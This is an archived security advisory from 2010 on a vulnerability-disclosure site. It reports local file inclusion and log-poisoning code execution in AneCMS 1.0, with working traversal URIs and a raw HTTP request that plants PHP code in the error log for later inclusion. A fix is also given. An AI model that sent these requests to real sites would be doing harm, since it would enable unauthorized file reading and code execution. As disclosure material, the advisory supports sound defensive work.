what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

AneCMS 1.0 Code Execution / Local File Inclusion

AneCMS 1.0 Code Execution / Local File Inclusion
Posted Apr 14, 2010
Authored by AmnPardaz Security Research Team | Site bugreport.ir

AneCMS version 1.0 suffers from code execution and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, code execution, file inclusion
SHA-256 | a7a42b0ae756378c207f0c6956eaa4dfcd147c6e4b17fd6e58155d7d156c28dd

AneCMS 1.0 Code Execution / Local File Inclusion

Change Mirror Download
##########################www.BugReport.ir########################################
#
# AmnPardaz Security Research Team
#
# Title: AneCMS Multiple Vulnerabilities
# Vendor: http://anecms.com/
# Vulnerable Version: 1.0 (Latest version till now)
# Exploitation: Remote with a RAW HTTP packet sender
# Fix: N/A
###################################################################################

####################
- Description:
####################

AneCMS is a small and fast CMS completely modular. Written in PHP with
JS(jQuery), Multilanguage, Skinnable
and has an online repository of modules accessible from the ACP of the
CMS. Using MySQL as the backend DBMS.


####################
- Vulnerability:
####################

+--> Local File Inclusion (LFI)
The AneCMS try to locate local files for responding users according
to GET parameters. There are 25 infected
files, but approximately whole of them are protected else of the
'index.php' and 'rss.php' files. Check the
exploits section for the details.

+--> Remote Code Execution
With a RAW HTTP packet sender, you can send unescaped php code to
AneCMS. Then this code can be executed using
the LFI vulnerability. Check the exploits section for the details.

####################
- Exploits/PoCs:
####################

+--> Exploiting The Local File Inclusion (LFI)
For the 'rss.php', you can select local file relative path from the
'modules' directory using 'module' GET
parameter. For example following URI can be used for inspecting the
'.htaccess' file:
http://target.com/rss.php?module=../.htaccess%00
For the 'index.php', you can select local file relative path from the
'system/ajax' directory using 'ajax' GET
parameter. For example following URI can be used for inspecting the
'.htaccess' file:
http://target.com/index.php?ajax=../../.htaccess%00

+--> Remote Code Execution
This attack should be done in two phases. First use the LFI to inject
the desired php code in the web server
log file. Then use the LFI again to execute it.
For example if you want to run '<?php echo "ShahShah..."; ?>' code,
first send the following HTTP packet:
GET /rss.php?module=../<?php echo "ShahShah..."; ?>%00 HTTP/1.0
Host: target.com
User-Agent: UA

This packet will inject the '<?php echo "ShahShah..."; ?>' in the
error logs. Then visit following URI:
http://target.com/rss.php?module=../the/path/to/logs/folder/logs/php_error.log%00

Above URI will include the error log (including your injected code)
and execute it.

####################
- Solution:
####################

Instead of generating the inclusion path by GET parameters directly,
check the value of the parameter and
then include the valid hard-coded file path.

####################
- Original Advisory:
####################

http://www.bugreport.ir/index_71.htm

####################
- Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close